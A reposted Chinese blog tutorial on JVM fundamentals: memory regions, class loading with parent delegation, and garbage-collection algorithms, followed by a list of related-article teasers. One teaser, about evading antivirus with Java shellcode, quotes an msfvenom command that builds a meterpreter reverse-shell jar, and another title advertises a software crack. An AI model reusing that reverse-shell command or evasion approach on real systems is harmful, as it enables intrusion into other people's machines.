JVM基础知识(内存区域划分,类加载,GC垃圾回收)

news2024/11/26 20:44:55

目录

内存区域划分

JVM中的栈

JVM中的堆

程序计数器

方法区(元数据区)

给一段代码,某个变量在哪个区域上?

类加载

类加载时机

双亲委派模型

GC 垃圾回收机制

GC 实际工作过程

1.找到垃圾/判定垃圾

1.可达性分析(Java中的做法)

2.引用计数

2.清理垃圾

1.标记清除

2.复制算法

3.标记整理

分代回收(复制算法+标记整理)


内存区域划分

如果内存区域只有一块,不太方便,为了更加方便使用,就把整个空间隔成很多区域,每一个区域都有不同的作用
JVM,在启动的时候,会申请一整个很大的区域,JVM 是一个应用程序,从操作系统里申请内存,JVM把整个空间分层几个部分,每个部分各自有不同的功能作用
每一个Java进程都包含一个JVM

JVM中的栈

JVM中的栈不是数据结构中的栈,是JVM中的一个特定空间,对于 JVM 虚拟机,这里存储是 方法(我们自己写的java代码中的方法) 之间的调用关系.对于 本地方法栈,存储的是JVM内部方法的调用关系

整个栈空间内部,可以认为包含很多元素,每个元素表示一个方法. 这里的每个元素,称为一个"栈帧",这一个栈帧里,会包含这个方法的 入口地址,方法的参数是什么,返回地址是什么,局部变量等

数据结构的栈,是一个通用的更广泛的概念,是后进先出的数据结构,此处的JVM中的栈,特指JVM上的一块内存空间,由于函数调用,也是有后进先出的特点

JVM中虚拟机中的栈,有很多,每一个线程都有一个属于自己的栈,每一个栈都有很多的栈帧,调用一个方法会创建栈帧,方法结束,就会销毁这个栈帧

JVM中的堆

堆是整个 JVM 空间最大的区域,new 出来的对象(引用类型),都是在堆上.因此类的成员变量也在堆山.
堆是一个进程只有一份,一个进程中的多个线程共用一份堆.栈是一个线程有一个栈,一个进程有N个栈
堆的生命周期比较长,堆上面的方法执行结束默认不自动释放空间,而栈上面的方法会随着方法执行结束,自动释放空间

程序计数器

记录当前线程执行到哪个指令,每个线程都独有一份程序计数器

方法区(元数据区)

方法区每个进程只有一个,多个线程共用一份类对象,常量池,静态成员(static)都在方法区

给一段代码,某个变量在哪个区域上?

原则
1.局部变量在 栈 上
2.普通成员变量在 堆 上
3.静态成员变量在 方法区/元数据区 上

类加载

类加载: 类加载就是 .class文件,从文件(硬盘)被加载到内存中(方法区/元数据区)这样的过程

加载: 把.class文件找到,打开文件,读文件,把文件内容读到内存中,最终得到类对象
验证: 检查.class文件格式是否正确 
准备: 给类对象分配一个内存空间(在方法区/元数据区占个位置),会使静态成员被设置成0值
解析: 初始化字符串常量,把符号引用转换为直接引用
初始化: 调用构造方法,进行成员初始化,执行代码块,静态代码块,加载父类...      

类加载时机

java程序运行,不是把所有的类都加载了,而是真正用到了才加载(懒汉模式),一旦加载过后,后续再使用就不必重复加载了

1.构造类的实例
2.调用这个类的 静态方法/使用静态属性
3.加载子类,就会先加载父类

双亲委派模型

双亲委派模型,描述的是 加载过程 找.class文件,基本过程

JVM默认提供了 三个 类加载器

BootstrapClassLoader:  负责加载标准库中的类(java规范)

ExtensionClassLoader:  负责加载JVM扩展中的类(规范之外)

ApplicationClassLoader: 负责加载用户提供的第三方库/用户项目代码 中的类

上述三个类存在父子关系,BootstrapClassLoader是ExtensionClassLoader的父类,ExtensionClassLoader是ApplicationClassLoader的父类

加载一个类的时候是先从ApplicationClassLoader开始的,但是 ApplicationClassLoader会把加载任务,交给父亲,让父亲去执行.于是ExtensionClassLoader要去加载,但是ExtensionClassLoader也会委托给自己的父亲,于是BootstrapClassLoader就要去加载了,BootstrapClassLoader也想委托给自己的父类,可以它没有父类,因此就由自己加载,此时 Bootstrap就会搜索自己负责的标准库目录的相关的类,如果找到就加载,如果没找到,就由子类加载器进行加载..  ExtensionClassLoader 真正搜索扩展库相关的目录,如果找到就加载,如果没找到就由子类加载器加载.  ApplicationClassLoader,加载器进行加载(由于当前没有子类,如果没有找到,就会抛出 类找不到 这样的异常)

GC 垃圾回收机制

垃圾指的是不再使用的内存,垃圾回收,就是把不用的内存帮我们自动释放掉了. 而GC 就是一种主流的垃圾回收机制,GC垃圾回收机制 主要是针对 堆 里面的空间进行释放的, GC 是以"对象" 为基本单位,进行回收

GC 实际工作过程

1.找到垃圾/判定垃圾

哪个对象是垃圾,哪个对象不是垃圾,哪个对象以后可能还要使用,哪个对象后面不用了,关键思路是:看这个对象,有没有别的引用指向它(java中,使用对象只能通过引用来使用,如果一个对象没有引用指向,那么它一定不被使用)

具体如何判断对象是否有引用指向

1.可达性分析(Java中的做法)

Java 中的对象,都是通过引用来指向并访问的,经常是,一个引用指向一个对象,这个对象里的成员,又指向别的对象,比如链表,二叉树
整个Java中所有的对象,通过链表/树结构,整体串起来,可达性分析 就是把所有这些对象被组织的结构称为树,从树根节点出发,所有能被访问到的对象,标记成 "可达",不能访问到的,就是"不可达"
因此,通过上述标记JVM就可以知道所有可达的对象,剩下的不可达对象,就视为垃圾 进行回收

2.引用计数

给每个对象分配一个计数器(整数),每有一个引用指向该对象,计数器就+1,每次该引用被销毁 计数器就-1,引用计数为0时,此时这个对象就可以认为是垃圾了

2.清理垃圾

1.标记清除

直接把被标记的垃圾清除掉,缺点: 被释放的空间是闲散,零散,不连续,而我们申请内存需要连续的内存空间

2.复制算法

把不是垃圾的对象,复制到另一半,然后把刚刚有垃圾的一半整个空间删除掉.解决了内存碎片的问题
缺点,空间利用率低,如果要是垃圾少,有效对象多,复制成本大

3.标记整理

类似顺序表删除中间元素,把是垃圾的元素用不是垃圾的元素给填掉(元素搬运),再释放空间

分代回收(复制算法+标记整理)

根据不同的场景,使用不同的算法
分代: 基于经验规律,根据生命周期的长短,分别使用不同的算法
给对象引入一个 年龄 的概念,单位是 熬过GC垃圾回收的轮次,把年龄小的对象使用复制算法删除(年龄小的对象中,可能是垃圾的比较多),把年龄大的对象使用标记整理删除(老年代对象可能是垃圾较少)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1029058.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小程序商城开发搭建;

小程序商城系统是基于移动互联网的一种在线购物平台,提供线上商城购物、在线下单、支付及配送等功能。随着智能手机普及率的加速提升,小程序商城系统也成为更多商家的选择。下面是小程序商城系统的主要功能介绍: 1、商品展示:商家…

Vue路由与node.js环境搭建

目录 前言 一.Vue路由 1.什么是spa 1.1简介 1.2 spa的特点 1.3 spa的优势以及未来的挑战 2.路由的使用 2.1 导入JS依赖 2.2 定义两个组件 2.3 定义组件与路径对应关系 2.4 通过路由关系获取路由对象 2.5 将对象挂载到vue实例中 2.6 定义触发路由事件的按钮 2.7 定…

华为云云耀云服务器L实例评测|云耀云服务器L实例的购买及使用体验

华为云云耀云服务器L实例评测|云耀云服务器L实例的购买及使用体验 一、云耀云服务器L实例介绍1.1 云耀云服务器L实例简介1.2 云耀云服务器L实例特点1.3 云耀云服务器L实例使用场景 二、云耀云服务器L实例支持的镜像2.1 镜像类型2.2 系统镜像2.3 应用镜像 三、购买云…

HOOPS Visualize 2023 SP2 U1 Crack-HOOPS Visualize

HOOPS Visualize 是一个以工程为中心的高性能图形库,用于在桌面、移动和 AR/VR 设备上渲染 3D CAD 模型。该 3D 图形库具有线程安全的 C 和 C# 接口以及 OpenGL 和 DirectX 驱动程序,并由响应迅速的专业图形专家提供支持。通过访问最新的 3D GPU 功能&am…

【业务功能篇112】Springboot + Spring Security 权限管理-登录模块开发实战

合家云社区物业管理平台 4.权限管理模块研发 4.3 登录模块开发 前台和后台的认证授权统一都使用SpringSecurity安全框架来实现。首次登录过程如下图: 4.3.1 生成图片校验码 4.3.1.1 导入工具类 (1) 导入Constants 常量类 /*** 通用常量类* author spikeCong* date 2023/5…

【数据结构】【C++】封装红黑树模拟实现map和set容器

【数据结构】&&【C】封装红黑树模拟实现map和set容器 一.红黑树的完成二.改造红黑树(泛型适配)三.封装map和set的接口四.实现红黑树迭代器(泛型适配)五.封装map和set的迭代器六.解决key不能修改问题七.实现map[]运算符重载 一.红黑树的完成 在上一篇红黑树的模拟实现中…

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿,在这互联网时代,更是流量为王。各个平台里的每个视频、每张图片,背后都有着算法的身影,支配着所有人的流量。作为内容创作者及运营者来说,除了制作高质量的内容以外,也需要掌握…

五年全满分 | 求臻医学满分通过2023 NGSST-A 能力验证

近期,求臻医学以满分的优异成绩顺利通过了美国病理学家协会(College of American Pathologists, CAP)组织开展的NGSST-A 2023(Next-Generation Sequencing Solid Tumor)能力验证项目。至此,公司已连续五年满…

如何去除音乐中的人声,只留伴奏?

如何去除音乐中的人声,只留伴奏?看到很多小伙伴都有这种需求,今天给大家分享一个宝藏网站,简易操作,可以轻松提取伴奏,想学的一起来看看吧! 音分轨——人声分离软件,这是一个用了人工…

Spring 6.0 新特性

文章目录 Spring的发展历史AOTGraalVMSpringBoot实战AOTRuntimeHints案例分析RuntimeHintsRegistrar SpringBoot中AOT核心代码 Spring的发展历史 AOT Spring 6.0的新特性Ahead of Time(AOT)编译是一种技术,可以提前将Spring应用程序编译成原…

Linux为什么不能像鸿蒙一样实现万物互联?

Linux为什么不能像鸿蒙一样实现万物互联? 可能原因,Linux不会炒作。 万物互联,先从网络开始,光纤入户,首先接入光猫,光猫的操作系统,不确定是不是openWRT,但是这个确定是Linux内核。 然后进入…

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令&#xff1…

【再识C进阶2(下)】详细介绍指针的进阶——利用冒泡排序算法模拟实现qsort函数,以及一下习题和指针笔试题

前言 💓作者简介: 加油,旭杏,目前大二,正在学习C,数据结构等👀 💓作者主页:加油,旭杏的主页👀 ⏩本文收录在:再识C进阶的专栏&#x1…

echarts柱状图上方的数值为0时设置不展示

未去掉0的效果图 series: [{data: this.barData.y,type: "bar",barWidth: 20,itemStyle: {normal: {// 设置柱子圆角barBorderRadius: [2, 2, 0, 0],},},label: {show: true,position: top,color:#fff,formatter: function (params) {if (params.value > 0) {retu…

Vue3父组件访问子组件方法 defineExpose用法

父组件示例 <template><div class"container"><h-demo ref"childDom" /><button click"getChild"></button></div> </template><script setup> import Hdemo from /components/Hdemo; import …

利用vue-cli构建SPA项目以及在SPA项目中使用路由

一. 利用vue-cli构建SPA项目 构建前提&#xff1a; Node.js环境已经搭建完成&#xff08;可点击上一篇博客进行查看http://t.csdn.cn/i2Rg5&#xff09; 1.1 vue-cli是什么 vue-cli是一个用于快速搭建Vue.js项目的脚手架工具。用于自动生成vue.jswebpack的项目模板。它提供了一…

无涯教程-JavaScript - COUNT函数

描述 COUNT函数计算包含数字的单元格的数量,并计算参数列表中的数字。使用COUNT函数获取在数字范围或数字数组中的数字字段中的条目数。 语法 COUNT (value1, [value2] ...)争论 Argument描述Required/Optionalvalue1The first item, cell reference, or range within whic…

MeterSphere v2.10.X-lts 双节点HA部署方案

一、MeterSphere高可用部署架构及服务器配置 1.1 服务器信息 序号应用名称操作系统要求配置要求描述1负载均衡器CentOS 7.X /RedHat 7.X2C,4G&#xff0c;200GB部署Nginx&#xff0c;实现负载路由。 部署NFS服务器。2MeterSphere应用节点1CentOS 7.X /RedHat 7.X8C,16GB,200G…

b站老王 自动驾驶决策规划学习记录(十二)

自动驾驶之速度规划详解&#xff1a;SL与ST迭代 上一讲&#xff1a;b站老王 自动驾驶决策规划学习记录&#xff08;十一&#xff09; 接着上一讲学习记录b站老王对自动驾驶规划系列的讲解 参考视频&#xff1a; 自动驾驶决策规划算法第二章第七节(上) 速度规划详解:SL与ST迭代…

ubuntu 22.04 服务器网卡无IP地址

ssh连接服务器连接不上&#xff0c;提示如下&#xff1b; 连接显示器&#xff0c;ip addr ls 命令查看IP地址&#xff0c;有网卡但没有IP地址 solution&#xff1a; sudo dhclient enp10s0用于通过 DHCP 协议获取网络配置信息并为名为 enp10s0 的网络接口分配 IP 地址,enp1…